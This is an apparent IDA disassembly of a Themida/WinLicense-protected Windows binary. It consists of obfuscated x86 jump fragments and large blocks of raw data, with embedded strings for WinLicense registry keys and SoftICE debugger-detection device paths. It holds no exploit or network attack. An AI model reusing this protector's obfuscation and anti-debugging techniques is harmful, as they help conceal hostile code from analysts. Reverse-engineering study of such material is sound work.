loc_5A6E02:				; CODE XREF: Themida_:0059225Cj
		not	esi
		xchg	esi, edx
		add	edx, 3E4C7D73h
		add	esi, edx
		jmp	loc_59CDBF
; ---------------------------------------------------------------------------
		db 5Dh
		dd 8B243C87h, 45042424h, 0FF7663E9h, 0FA8952FFh, 5F5AD189h
		dd 0E34C3A2Dh, 5B390502h, 0C82925E9h, 8BBBA52h,	48E91459h
		dd 4FFFED5h, 6A93E985h,	0B850FFFFh, 4, 0E958C601h, 0FFFEC5A8h
		dd 5404EC83h, 8124048Fh, 42404h, 0C2E90000h
		db 6Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A6E67:				; CODE XREF: Themida_:005941B6j
		push	3C84h
		mov	[esp], esi
		push	eax
		mov	eax, 407C45E2h
		xor	[esp+4], eax
		mov	eax, [esp]
		add	esp, 4
		pop	edx
		sub	esp, 4
		jmp	loc_5A0FB1
; ---------------------------------------------------------------------------
		dw 0AEB8h
		dd 11AEDE1h, 0EE2958C5h, 0F6815D5Dh, 2B63CDBh, 666FE681h
		dd 0B4E90A74h, 0FFFFF8Fh, 0B7368C8h, 4890000h, 0B0B6E924h
		dd 0F701FFFEh, 8B2434FFh, 0C4812434h, 4, 4C481h, 0C7830000h
		dd 243C8702h, 6624248Bh, 2404B30Fh, 0B08EE99Ch
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5A6EE2:				; CODE XREF: Themida_:005A05DEj
		pop	esp
		jmp	loc_591F70
; ---------------------------------------------------------------------------
		dd 0E924248Bh, 0FFFFE57Bh
; ---------------------------------------------------------------------------


loc_5A6EF0:				; CODE XREF: Themida_:0059262Aj
		pop	esp
		jmp	loc_59E1A3
; ---------------------------------------------------------------------------
		dw 815Fh
		dd 8B0BFBEBh, 81FB0100h, 8B0BFBC3h, 3457E900h, 0B850FFFFh
		dd 4, 8158C201h, 4EAh, 9B98E900h, 8158FFFFh, 4C1h, 240C8700h
		dd 124248Bh, 0E9512404h, 0FFFFC62Ch, 8B58C601h,	0C4832404h
		dd 0E7EE8104h, 112C339h, 9066E9C6h, 48FFFFFh, 24048324h
		dd 0C0B2E904h, 53ADFFFEh, 0BA48F5BBh, 5BD8294Dh, 0B22DE951h
		dd 835CFFFFh, 2C8904ECh, 8E6824h, 24890000h, 24048124h
		dd 4, 9DB8505Dh, 0C1515306h, 132D03E8h,	8351E764h, 4505FFC0h
		dd 147BD03h, 0EC8358C5h, 243C8904h, 0FED85BE9h,	54565EFFh
		dd 0FF10A2E9h, 5EF301FFh, 0FF532FE9h, 0E9575CFFh, 0FFFEB71Eh
		dd 0E92434FFh, 105h, 49256852h,	815A374Dh, 4F6154F2h, 0E9D7896Eh
		dd 0FFFF46C1h, 0F11D37B9h, 4530E953h, 148BFFFFh, 4C48324h
		dd 0FF7998E9h, 240489FFh, 0FEF729E9h, 290BFFFh,	0FE297D58h
		dd 0E2E9575Fh, 53FFFF0Bh, 0BBh,	47C38100h, 295FD362h, 47EB81EBh
		dd 895FD362h, 31E95BDDh, 5EFFFF82h, 147BE56h, 0C68124B2h
		dd 7F2859CCh, 0BD55DEF7h, 78E57B8Dh, 0E95DEE01h, 0FFFF0D7Eh
; ---------------------------------------------------------------------------


loc_5A7038:				; CODE XREF: Themida_:0059486Ej
		pop	esi
		jmp	loc_5A2E53
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0C4835824h, 24143304h, 33241431h, 7EE92414h,	81FFFED9h
		dd 0D429DBCBh, 0BA524B5Ah, 3D1A57D4h, 8105E2C1h, 247875C2h
		dd 0F7BE5625h, 81589849h, 1C6h,	0E8C68100h, 0E9DC8713h
		dd 0FFFF8351h, 8B241487h, 0D3662424h, 0E99C2424h, 0FFFEAEE0h
		dd 0E95DE889h, 0FFFFAEFCh, 3E9CFB0h, 3FFFF2Dh, 2434FF03h
		dd 0FF8D88E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A70A9:				; CODE XREF: Themida_:005A32F3j
		and	esi, 6B1C45BAh
		shr	esi, 7
		sub	esi, 0D2A22AFh
		xor	esi, 88E7665Dh
		sub	edx, esi
		jmp	loc_59EC6D
; ---------------------------------------------------------------------------
		db 58h,	0E9h, 0Dh
		dd 56FFFF4Bh, 0C0A429BEh, 52D0E966h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A70D6:				; CODE XREF: Themida_:005958A2j
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		shr	eax, 12h
		xor	eax, ecx
		push	318Bh
		mov	[esp], eax
		xor	[esp], ebx
		jmp	loc_5A070B
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 0F7804BB7h, 5EFC024h, 0E936CF80h, 0FFFF2A5Ah, 0E904C483h
		dd 0FFFFEB86h
; ---------------------------------------------------------------------------


loc_5A7110:				; CODE XREF: Themida_:005982D0j
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	edi
		mov	edi, ecx
		mov	ebx, edi
		pop	edi
		push	dword ptr [esp]
		jmp	loc_5A333F
; ---------------------------------------------------------------------------


loc_5A7128:				; CODE XREF: Themida_:005A2F8Aj
		mov	[esp], eax
		push	ecx
		jmp	loc_5A2941
; ---------------------------------------------------------------------------


loc_5A7131:				; CODE XREF: Themida_:00596BFAj
		pop	esp
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], esp
		push	ebp
		mov	ebp, 4
		add	[esp+4], ebp
		pop	ebp
		push	dword ptr [esp]
		mov	eax, [esp]
		push	esi
		jmp	loc_593623
; ---------------------------------------------------------------------------


loc_5A7152:				; CODE XREF: Themida_:00595C96j
		add	esp, 4
		jmp	loc_5A3610
; ---------------------------------------------------------------------------
		dw 0DEF7h
aBce		db 'æE`',0
		db 78h,	81h, 0C6h
		dd 34B71110h, 0FFAE44E9h, 6CC981FFh, 0E9551443h, 0FFFF6391h
		dd 0DFC78166h, 0BB665374h, 816670D2h, 0E97836F3h, 0FFFEE5E3h
		dd 241C8B66h, 2C481h, 8B660000h, 65E92414h, 1FFFF71h, 2434FFDFh
		dd 0E689565Bh, 4C681h, 0C6810000h, 4, 5C243487h, 4C781h
		dd 3C330000h, 243C3124h, 8B243C33h, 4092424h, 9DE99C24h
		dd 0E8FFFEADh, 6, 376B748Ah, 0F50B890h,	281h, 5BD38B00h
		dd 81C0805Eh, 66D5C681h, 0E9600000h, 10h, 0DAD0D8B3h, 0ABE8EEh
		dd 133577C7h, 0CC6673B0h, 2CEEB81h, 0B9617D45h,	1985h
		dd 1820Fh, 0FFF80000h, 5FBAB736h, 6F38166h, 0F9EF816Bh
		dd 665AC15Ah, 0EDB5E281h, 3CB8F781h, 0DE81814h,	0B1000000h
		dd 8003276Eh, 43B44A7Eh, 0AFDC9694h, 8B0F53h, 58000000h
		dd 0DAC78158h, 6628A3BBh, 0B457C38Bh, 80068F08h, 0EE8140CBh
		dd 2AA17039h, 8FCA8166h, 35C681BBh, 602AA170h, 0A14BBB66h
		dd 12E8h, 1E629A00h, 0C869A611h, 4491AAD0h, 0D5DE5B9Fh
		dd 0F32FF62h, 615BFBBFh, 0F01E983h, 0FFFF7E85h,	50E9FFh
		dd 0B6570000h, 53553888h, 32335245h, 6C6C642Eh,	56444100h
		dd 33495041h, 6C642E32h, 544E006Ch, 2E4C4C44h, 6C6C64h
		dd 407D8h, 1E0003h, 1D0007h, 3630020h, 6 dup(0)
		dd 0DCE90000h, 68000008h, 6169864h, 0FDE97BE9h,	98DF68FFh
		dd 71E90616h, 68FFFDE9h, 6169A2Ah, 0FDE967E9h, 9B8D68FFh
		dd 5DE90616h, 68FFFDE9h, 6169C0Bh, 0FDE953E9h, 9D0468FFh
		dd 49E90616h, 68FFFDE9h, 6169D66h, 0FDE93FE9h, 0CBC6C6FFh
		dd 0F6A7D847h, 1F9AB532h, 77E8C1Bh, 28656403h, 0C54D67E4h
		dd 0D847CBC6h, 0B12EF2ABh, 89161A95h, 95000477h, 5BA8916h
		dd 9A3955E6h, 3690D9AFh, 0E7CC3CC1h, 0DE19F531h, 0AD6744BEh
		dd 0A15C1EABh, 0C4F4A9DAh, 0E51590BBh, 0FFB77D61h, 0F6619AEEh
		dd 0F0929AA9h, 0FF351953h, 6B1763CCh, 242849DCh, 0C87BA417h
		dd 4B55E49Ah, 6595103Ch, 0B637FDE1h, 8E773DE9h,	0DDEA717Bh
		dd 0E62CA8A0h, 32493FCEh, 324A7DF5h, 0D946B196h, 0B5F2A26Ah
		dd 5BAF65E9h, 8885C4F7h, 3FA7070Dh, 682321AEh, 81F63744h
		dd 92AFDE6Eh, 0BCCE9DAEh, 508F7B33h, 6E92DBC1h,	900B3DAAh
		dd 13ADD88Fh, 7A48A083h, 73Bh, 84880303h, 6FB3EA1Bh, 54D8D5F0h
		dd 42C6BDCBh, 27EBA6A5h, 302B0A4h, 0F01D8A8Eh, 0DAF671B5h
		dd 0BACC5BDFh, 0EF523FC3h, 0E60AF34Eh, 0D9C37055h, 6366567h
		dd 0FAB7D695h, 17658438h, 0E58EBBE4h, 3D0149DFh, 58537F0Eh
		dd 0A7D8A7D4h, 636F3CF6h, 0CDFDB8D3h, 562D15Eh,	9DE155E6h
		dd 0E6A3AE79h, 93B5CAC2h, 3954E6E3h, 0A4C84C7Ch, 0B0C3094h
		dd 6913475Eh, 0C0E8BA12h, 0B8000006h, 96111588h, 6BF43875h
		dd 46E12560h, 5EC94D48h, 2DAE722Fh, 118CBB0Bh, 3875920Dh
		dd 245F6BF4h, 564547E0h, 0DB44A7D2h, 55E60A68h,	6764A8EBh
		dd 0C0BBCD65h, 0B1D3ACDCh, 65890401h, 80FD0A55h, 59D9F788h
		dd 3B53772Ah, 0D159B01Fh, 34FA649h, 859488DDh, 90F9h, 188B3700h
		dd 0F092AC9Fh, 74C76053h, 8F53F092h, 0C153378Bh, 7685F80Ah
		dd 79A6D5F7h, 0A327574Ah, 0B953A151h, 53F09286h, 0F512A4A6h
		dd 324A4143h, 3E9AB2D6h, 91A9E4E1h, 750D1135h, 94EBE094h
		dd 0DFE03F76h, 0F83A9EAEh, 20D5CCFh, 8C008D87h,	0E549DC01h
		dd 0F7136A61h, 3B534A47h, 4E79BBDFh, 7D8CD3h, 76315DF2h
		dd 0C16ED9B2h, 55E4E172h, 0C8878DF1h, 0B3CAC1BCh, 0AFEAE595h
		dd 0E7173B9Fh, 0E1182B74h, 0B79B55E4h, 17258193h, 5D7h
		dd 3665679Dh, 0C24F9E06h, 0E35EDFC5h, 6053F092h, 0A7D4F81Ch
		dd 0DC482806h, 0E1252949h, 0FBB2D3AAh, 2D606239h, 3C4899E9h
		dd 0B9B9790Fh, 0F3C6AA9Ah, 39198621h, 0FD4FCBF5h, 987F3B67h
		dd 0F30164C0h, 0D7893F7h, 0DD57527Eh, 8387020Eh, 9DADE8E4h
		dd 1736C0C2h, 0EB1769Ah, 0B662FF94h, 5757446h, 3D4D0000h
		dd 2021BE42h, 133EA96Dh, 0F7159296h, 0E0EF78BCh, 0CEE269ADh
		dd 0D0544978h, 0BF433A57h, 0A5692420h, 9195083Ah, 291885E4h
		dd 0AA55E608h, 6567A769h, 47790636h, 0AB442454h, 9073DB44h
		dd 9FAC53F0h, 0EE4B45C9h, 0AC664431h, 94BF1FCCh, 5AEB7985h
		dd 4440738Bh, 0BFA3DAECh, 0FED18A75h, 6726FFFFh, 9E063665h
		dd 7202394Fh, 4B3EE16Fh, 398A889Fh, 1E8DBFCEh, 0F899914h
		dd 46CA49DCh, 5523C2C2h, 0E211F926h, 0C5024FC8h, 0EF5ADBC7h
		dd 645FD8E1h, 48CCFCE0h, 0D1A71424h, 0B3330416h, 81B0FDCFh
		dd 25FD866h, 9D181A3Eh,	5FD866A1h, 0FD0D8081h, 11296462h
		dd 48403D4Eh, 254CABCCh, 82D9C01Dh, 0AE9D1A80h,	255FD866h
		dd 68F73D21h, 7C2BF101h, 0FD8B91BDh, 64663FCAh,	0A1C0F729h
		dd 85F28D87h, 87000001h, 787A2BF1h, 8294D933h, 4E89CE22h
		dd 919B9972h, 5BAA5C1Eh, 0D9FDB8D6h, 0EC2137A2h, 7ED7C5B5h
		dd 0F5018C86h, 0E49DC2Eh, 0A072330Ah, 0F57B8E32h, 0CA6B6014h
		dd 96320444h, 397493EAh, 738B8FFBh, 7D8EFA0Bh, 0DE28DB30h
		dd 7A013AFh, 0BFE62334h, 90A8E5E4h, 36FC4034h, 0C23D4E32h
		dd 0E623D665h, 2BE96DBFh, 37BFC198h, 0F2566615h, 0ABDD4ACEh
		dd 2D962FF0h, 0CA228313h, 412F8h, 0A7DAEA00h, 0CAC3C463h
		dd 0F3AED946h, 1B92B02Fh, 4798817h, 0E1517B00h,	0FC6BAFE2h
		dd 0D552D6CFh, 0AD3AFEB9h, 711CE09Bh, 99EAD0Ah,	0FE1555E6h
		dd 1B61803Ah, 0D5F675E0h, 0EE24A0D8h, 0DFE572EFh, 0E647B249h
		dd 55E6056Bh, 73273E8h,	9C55E605h, 6A9E94B8h, 585B4F1h
		dd 3A1E55E6h, 6A66E516h, 424D1C2Fh, 41D33747h, 44FA1691h
		dd 17274B42h, 0C0473648h, 69134831h, 94C3D149h,	6C000003h
		dd 42DD215Ch, 5FC84C41h, 2AB57934h, 29D611Ch, 18A8E03h
		dd 3568672Fh, 5C5976F1h, 48434FD8h, 72295BC4h, 3F78C3AEh
		dd 55E60E0Ch, 67484C87h, 95063665h, 448384DFh, 0F0C868DBh
		dd 0B167EB53h, 0C3517606h, 8B83FA0Ch, 0ED04EBh,	53F0C92Ah
		dd 0E7F23F1Bh, 0F48E8594h, 2AFFFFFCh, 6366567h,	0C5C24F9Eh
		dd 0FFA6B0C8h, 8FD3560Dh, 13284C70h, 0D6573D4Ch, 53F0347Bh
		dd 587094F8h, 287536FCh, 49DC35BEh, 5CF5337h, 0AC9F188Bh
		dd 2753F092h, 313510D1h, 9C804051h, 0C3F58096h,	0F8255622h
		dd 49DC448Eh, 0ED4A8387h, 2DCB3648h, 112A5EAFh,	4B433E4Ah
		dd 5CD07F3Dh, 0B1D53234h, 6FE74063h, 80E7F735h,	0F5148CBCh
		dd 0C22B7487h, 6DFDE339h, 798BD2E9h, 0F78DFE02h, 0ADDF357Dh
		dd 0D44ACEFEh, 60BF4BFEh, 0B5112964h, 0EF9EA07Fh, 0D64AA328h
		dd 5D6FDFB4h, 29Bh, 0E4286363h,	0CF534A7Bh, 0B4783550h
		dd 0A2661D2Bh, 878B0605h, 6362D004h, 507DEA2Eh,	3A56D155h
		dd 1A2CBB7Fh, 8FF29F63h, 0E60F132Eh, 0B9639055h, 0E01B6180h
		dd 0DFE5CC47h, 0A6D82749h, 0A1B8D3F7h, 0B926EAA5h, 62F9128Dh
		dd 56F72964h, 290FF15h,	6EF1CD47h, 63DE215Ch, 33691374h
		dd 239C9DBh, 1010000h, 0EC1D8A8Eh, 0D7F26DB1h, 0BBC956DAh
		dd 0A4A33CC0h, 0B2A625E9h, 84880504h, 73B7EE1Bh, 59DDD8F4h
		dd 3DC1BCCEh, 0FD4CE950h, 7655E60Fh, 0F48BDBDDh, 4F48DED7h
		dd 8C57EA37h, 0C7269E94h, 161D9AB1h, 5D49DFB2h,	658B50Bh
		dd 52769331h, 0D253CE39h, 55E63767h, 296463FCh,	2E500F05h
		dd 0D5F38584h, 62AAEDEh, 0AA6E92F6h, 4A410FDAh,	0E63744EDh
		dd 536BEF55h, 8880FD0Ch, 2E74938Ch, 0E637B281h,	0DD5A3155h
		dd 55E6376Eh, 597D61E5h, 2C58ADD5h, 37BB9E1Fh, 0E07F55E6h
		dd 3A9EAEDFh, 0CC9388F8h, 4CC8C0BDh, 0E6373E0Dh, 0ADD1B555h
		dd 0CDC0C29Dh, 3C4ED9BDh, 2022BD41h, 0FD0F5E6Dh, 2C5C5775h
		dd 107484A8h, 2A31A202h, 8391631Eh, 0ABC269BDh,	177DE070h
		dd 47ED96D4h, 0EA8F59D1h, 0EA28EAF3h, 63981335h, 87B7EE1Ch
		dd 0A641F103h, 8BD2E9A4h, 8E0A0279h, 28273884h,	0D3A4575h
		dd 0E9E77890h, 0A1EE9AB2h, 418EC04Ah, 5668F72Ah, 61B31727h
		dd 21E598AAh, 0F20A8786h, 691A2A14h, 1182B1FEh,	3D0155E6h
		dd 0C20168F7h, 9D1835C3h, 41C5E96Dh, 0D2EAA7A6h, 0F506818Dh
		dd 0D75D5876h, 0E5D70D7h, 11758500h, 0F6157C03h, 0C956DAD7h
		dd 47B4C4B7h, 7A920B38h, 6899141Eh, 401D1589h, 203F4F3Eh
		dd 0F5526A23h, 42BEF06h, 7D8FBED5h, 6B9D0A0Eh, 48471830h
		dd 0B6612555h, 6F1E205Fh, 840A3CABh, 7979281Bh,	83A7ABEDh
		dd 86F2138Bh, 96AA2875h, 50CBF755h, 6E9864D7h, 0CBE15D97h
		dd 80DFDB4Ah, 0C8B7BACCh, 807263E6h, 0CCB4789Ch, 0F33C4F3Dh
		dd 8D41EE42h, 3E4179DDh, 0FE8D910Ch, 30172283h,	0BFAC9944h
		dd 4430C37Eh, 0D8FC4099h, 883855Ah, 0C6BFB1F0h,	0CBA45BE2h
		dd 286365A4h, 3407A013h, 4F5AA22Ah, 1E8949CBh, 0C699B1ECh
		dd 0A2BDCDC8h, 8DD2EAA7h, 0DE08007Bh, 0C8225AB1h, 0E87AE3C2h
		dd 3B1A3D21h, 40259D4h,	0B2D48B89h, 0C855C0FBh,	5AA2AC79h
		dd 0D49C96FAh, 4A42394Bh, 1678h, 12304F00h, 8B97999Bh
		dd 59DBD2F4h, 0A662F269h, 0BBF85D0h, 67D254DEh,	7B043467h
		dd 253A5249h, 15E6E29h,	0EE718904h, 0D5AAA2DFh,	0BCC3FBB6h
		dd 98E7178Eh, 4718306Dh, 1F275746h, 81E78957h, 4C7h, 4EF8300h
		dd 31243C33h, 3C33243Ch, 0EC835C24h, 24048904h,	5E08950h
		dd 4, 8704E883h, 895C2404h, 0A168241Ch,	8B061697h, 0C4832404h
		dd 1C8B5404h, 4C48124h,	51000000h, 4B895950h, 1C8B5908h
		dd 0E3895324h, 4C381h, 0C3810000h, 4, 5C241C87h, 582434FFh
		dd 0E904C483h, 0FFFDE0B0h, 0F902214Ch, 0B88BC744h, 6169FC4h
		dd 0E0FFC503h, 3F1E4064h, 51A98E6Bh, 0FB8DD47h,	13D364CAh
		dd 51B1B6E1h, 5078774Bh, 21F12C16h, 4AB6F04Bh, 6F7F7CDh
		dd 74F37AFAh, 0FCEA0Dh,	442CA9E9h, 0C40E3B7h, 190401FFh
		dd 8EE9h, 0BD836000h, 6140AA1h,	5840F00h, 0E9000000h, 79h
		dd 3E80006Ah, 8850F30h,	6A000000h, 35E94600h, 80000000h
		dd 850F333Eh, 8, 0E946106Ah, 24h, 0F343E80h, 885h, 46306A00h
		dd 13E9h, 353E8000h, 8850Fh, 406A0000h,	2E946h,	6A0000h
		dd 0F203E80h, 1285h, 17E8000h, 8850F00h, 83000000h, 16E908C4h
		dd 8D000000h, 14241585h, 4895006h, 34895024h, 0FF006A24h
		dd 1424DD95h, 0C6C36106h, 14084985h, 74684D06h,	8130F219h
		dd 5D342404h, 0B5FF7343h, 6142965h, 3B4E858Dh, 0D0FF0614h
		dd 24DD8589h, 14E80614h, 89000000h, 8B77BD54h, 0A8E6F944h
		dd 3B44BD7Bh, 88D11FB1h, 666BFD31h, 5758F28Bh, 815ED08Bh
		dd 6F17C0h, 10E900h, 1C140000h,	665177D3h, 126C3F42h, 0D9BD2E0Fh
		dd 9F6848B9h, 0F00001Bh, 68Dh, 0A58D8B00h, 5B061420h, 3830Fh
		dd 0B70F0000h, 6630FFF0h, 665FF38Bh, 3982E181h,	5BB3EF81h
		dd 0F7814317h, 6F6B3042h, 20299529h, 0C7810614h, 5433F54Ah
		dd 2FE98D8Bh, 66570614h, 8FF28Bh, 2025BD89h, 0E8830614h
		dd 6048F503h, 2DC99589h, 0C28B0614h, 1EB8361h, 0FFB3850Fh
		dd 0AAE9FFFFh, 53000000h, 7774666Fh, 5C657261h,	4C6E6957h
		dd 6E656369h, 43006573h, 6B636568h, 58004E49h, 746F7270h
		dd 74697845h, 65684300h, 554F6B63h, 69570054h, 63694C6Eh
		dd 65736E65h, 73726556h, 6E6F69h, 4C6E6957h, 6E656369h
		dd 72446573h, 72657669h, 73726556h, 6E6F69h, 4C6E6957h
		dd 6E656369h, 6E496573h, 6E617473h, 45006563h, 4F746978h
		dd 7250006Bh, 4E49636Fh, 6F725000h, 54554F63h, 69784500h
		dd 4E4974h, 74697845h, 54554Fh,	4E497054h, 3 dup(0)
		dd 0DEB90800h, 0DFD5BB77h, 596E977h, 85890000h,	616A275h
		dd 0A271858Dh, 8D500616h, 16A1DB85h, 1685006h, 0FF800000h
		dd 16A28195h, 0FF196A06h, 16A275B5h, 6A016A06h,	0A858D00h
		dd 500616A2h, 0A271B5FFh, 95FF0616h, 6140B31h, 0A271B5FFh
		dd 95FF0616h, 616A27Dh,	0A271B5FFh, 95FF0616h, 6142FF1h
		dd 758589C3h, 8D0616A2h, 16A27185h, 858D5006h, 616A1DBh
		dd 16850h, 95FF8000h, 616A281h,	858D046Ah, 616A275h, 6A046A50h
		dd 34858D00h, 500616A2h, 0A271B5FFh, 95FF0616h,	6140B31h
		dd 0A271B5FFh, 95FF0616h, 616A27Dh, 0A271B5FFh,	95FF0616h
		dd 6142FF1h, 758589C3h,	8D0616A2h, 16A27185h, 858D5006h
		dd 616A1DBh, 16850h, 95FF8000h,	616A281h, 858D046Ah, 616A275h
		dd 6A046A50h, 1C858D00h, 500616A2h, 0A271B5FFh,	95FF0616h
		dd 6140B31h, 0A271B5FFh, 95FF0616h, 616A27Dh, 0A271B5FFh
		dd 95FF0616h, 6142FF1h,	758589C3h, 8D0616A2h, 16A27185h
		dd 858D5006h, 616A1DBh,	16850h,	95FF8000h, 616A281h, 858D046Ah
		dd 616A275h, 6A046A50h,	47858D00h, 500616A2h, 0A271B5FFh
		dd 95FF0616h, 6140B31h,	0A271B5FFh, 95FF0616h, 616A27Dh
		dd 0A271B5FFh, 95FF0616h, 6142FF1h, 758589C3h, 8D0616A2h
		dd 16A27185h, 858D5006h, 616A1DBh, 16850h, 95FF8000h, 616A281h
		dd 858D046Ah, 616A275h,	6A046A50h, 0F7858D00h, 500616A1h
		dd 0A271B5FFh, 95FF0616h, 6140B31h, 0A271B5FFh,	95FF0616h
		dd 616A27Dh, 0A271B5FFh, 95FF0616h, 6142FF1h, 0C9BD83C3h
		dd 6140Fh, 0B840Fh, 9D8B0000h, 6140FC9h, 894CC383h, 0BD83C303h
		dd 6140FC9h, 0B840F00h,	8B000000h, 140FC99Dh, 50C38306h
		dd 83C30389h, 140FC9BDh, 840F0006h, 0Bh, 0FC99D8Bh, 0C3830614h
		dd 0C3038954h, 0FC9BD83h, 0F000614h, 0B84h, 0C99D8B00h
		dd 8306140Fh, 38958C3h,	0C9BD83C3h, 6140Fh, 0B840Fh, 9D8B0000h
		dd 6140FC9h, 895CC383h,	60C3C303h, 0A2758589h, 858D0616h
		dd 616A271h, 0DB858D50h, 500616A1h, 168h, 8195FF80h, 6A0616A2h
		dd 75858D04h, 500616A2h, 6A046Ah, 0A26C858Dh, 0FF500616h
		dd 16A271B5h, 3195FF06h, 8306140Bh, 1410F1BDh, 840F0006h
		dd 0Ch,	0A271B5FFh, 95FF0616h, 616A27Dh, 0A271B5FFh, 95FF0616h
		dd 6142FF1h, 8960C361h,	16A27585h, 71858D06h, 500616A2h
		dd 0A1DB858Dh, 68500616h, 80000001h, 0A28195FFh, 46A0616h
		dd 0A275858Dh, 6A500616h, 8D006A04h, 16A24E85h,	0B5FF5006h
		dd 616A271h, 0B3195FFh,	0BD830614h, 61410F1h, 0C840F00h
		dd 0FF000000h, 16A271B5h, 7D95FF06h, 0FF0616A2h, 16A271B5h
		dd 0F195FF06h, 6106142Fh, 858960C3h, 616A275h, 0A271858Dh
		dd 8D500616h, 16A1DB85h, 1685006h, 0FF800000h, 16A28195h
		dd 8D046A06h, 16A27585h, 46A5006h, 858D006Ah, 616A255h
		dd 71B5FF50h, 0FF0616A2h, 140B3195h, 0F1BD8306h, 61410h
		dd 0C840Fh, 0B5FF0000h,	616A271h, 0A27D95FFh, 0B5FF0616h
		dd 616A271h, 2FF195FFh,	0C3610614h, 75858960h, 8D0616A2h
		dd 16A27185h, 858D5006h, 616A1DBh, 16850h, 95FF8000h, 616A281h
		dd 858D046Ah, 616A275h,	6A046A50h, 5D858D00h, 500616A2h
		dd 0A271B5FFh, 95FF0616h, 6140B31h, 10F1BD83h, 0F000614h
		dd 0C84h, 71B5FF00h, 0FF0616A2h, 16A27D95h, 71B5FF06h
		dd 0FF0616A2h, 142FF195h, 60C36106h, 0A2758589h, 858D0616h
		dd 616A271h, 0DB858D50h, 500616A1h, 168h, 8195FF80h, 6A0616A2h
		dd 75858D04h, 500616A2h, 6A046Ah, 0A264858Dh, 0FF500616h
		dd 16A271B5h, 3195FF06h, 8306140Bh, 1410F1BDh, 840F0006h
		dd 0Ch,	0A271B5FFh, 95FF0616h, 616A27Dh, 0A271B5FFh, 95FF0616h
		dd 6142FF1h, 0C760C361h, 16A27585h, 106h, 71858D00h, 500616A2h
		dd 0A1DB858Dh, 68500616h, 80000002h, 0A28195FFh, 0C00B0616h
		dd 0F840Fh, 85C70000h, 616A275h, 0
		dd 4DE9h, 8D046A00h, 16A27585h,	46A5006h, 858D006Ah, 616A1EFh
		dd 71B5FF50h, 0FF0616A2h, 140B3195h, 0FC00B06h,	0F84h
		dd 7585C700h, 616A2h, 0E9000000h, 0Ah, 0A27585C7h, 10616h
		dd 0B5FF0000h, 616A271h, 2FF195FFh, 8B610614h, 16A27585h
		dd 8960C306h, 16A27585h, 71858D06h, 500616A2h, 0A1DB858Dh
		dd 68500616h, 80000001h, 0A28195FFh, 46A0616h, 0A275858Dh
		dd 6A500616h, 8D006A04h, 16A1EF85h, 0B5FF5006h,	616A271h
		dd 0B3195FFh, 0BD830614h, 61410F1h, 0C840F00h, 0FF000000h
		dd 16A271B5h, 7D95FF06h, 0FF0616A2h, 16A271B5h,	0F195FF06h
		dd 6106142Fh, 858960C3h, 616A275h, 0A271858Dh, 8D500616h
		dd 16A1DB85h, 1685006h,	0FF800000h, 16A28195h, 8D046A06h
		dd 16A27585h, 46A5006h,	858D006Ah, 616A201h, 71B5FF50h
		dd 0FF0616A2h, 140B3195h, 0F1BD8306h, 61410h, 0C840Fh
		dd 0B5FF0000h, 616A271h, 0A27D95FFh, 0B5FF0616h, 616A271h
		dd 2FF195FFh, 0C3610614h, 84985C6h, 68520614h, 0ADE47B07h
		dd 2B25B5FFh, 95FF0614h, 614069Dh, 0A2818589h, 85C60616h
		dd 6140849h, 0E56852h, 0B5FF902Eh, 6142B25h, 69D95FFh
		dd 85890614h, 616A27Dh,	84985C6h, 68520614h, 0B9BF1235h
		dd 2B25B5FFh, 95FF0614h, 614069Dh, 0B318589h, 85C60614h
		dd 6140849h, 10346852h,	0B5FF9878h, 6142B25h, 69D95FFh
		dd 85890614h, 6142FF1h,	84985C6h, 68520614h, 0C005DBD4h
		dd 2B25B5FFh, 95FF0614h, 614069Dh, 16C98589h, 1EEB0614h
		dd 5C2E5C5Ch, 45434953h, 2E5C5C00h, 5749535Ch, 444956h
		dd 5C2E5C5Ch, 4349544Eh, 0C08B0045h, 2B01958Bh,	0BD830614h
		dd 61410F1h, 83097500h,	140E25BDh, 19740006h, 0C08B5350h
		dd 40FB8h, 19858900h, 8D061418h, 16A7529Dh, 5BD3FF06h
		dd 25BD8358h, 6140Eh, 53501774h, 40FB8h, 19858900h, 8D061418h
		dd 16A4419Dh, 5BD3FF06h, 0CF8B6658h, 5367BF66h,	85C6C08Bh
		dd 6140849h, 6880F43h, 8B000000h, 1433C9BDh, 3A166806h
		dd 3481D772h, 0FC54EA24h, 53006A6Bh, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 0BFB4C6AEh
		dd 3DFF93BCh, 2DB5FFF8h, 2906140Ch, 1416A5BDh, 4E858D06h
		dd 2306143Bh, 142BEDBDh, 66D0FF06h, 5050F78Bh, 0F28B6652h
		dd 0F60310Fh, 85h, 585A6100h, 6A240489h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0EDCFC350h
		dd 0E3CBCD02h, 7388D31Fh, 8D5BD8Bh, 952B0614h, 6141FD1h
		dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 0B26FA3C3h, 0B8037568h, 4890FC6h,	66000000h
		dd 8180D7B9h, 0FD0B2404h, 8B563947h, 36A59CAh, 14E9h, 51821300h
		dd 0F64D264Bh, 0D682B6FEh, 1ED6DEEAh, 7222373Dh, 89006A30h
		dd 1415E99Dh, 68036A06h, 5302A082h, 0BE9h, 0A54F4700h
		dd 41C3D0F7h, 59BC8DBCh, 7E240481h, 0F6CFD5Fh, 2C8Bh, 12E800h
		dd 17E90000h, 7413793Ah, 7CE849B2h, 0E90ED482h,	9CAF8572h
		dd 0EE8h, 0CA593E00h, 6EED83C3h, 7F6B9C0Bh, 5E1F19F4h
		dd 0F9958B59h, 8D061403h, 16A8B89Dh, 52006A06h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 8D8BCC08h
		dd 6141C5Dh, 87D78166h,	525093AAh, 310FD18Ah, 5ACE8B66h
		dd 66515058h, 5EFBF5BFh, 33BF6693h, 89D0FF49h, 1408A9B5h
		dd 1C3ABA06h, 0F400AD3h, 36985h, 0D9958B00h, 58061423h
		dd 68D0Fh, 9D290000h, 6140DD1h,	0F28B6650h, 66240489h
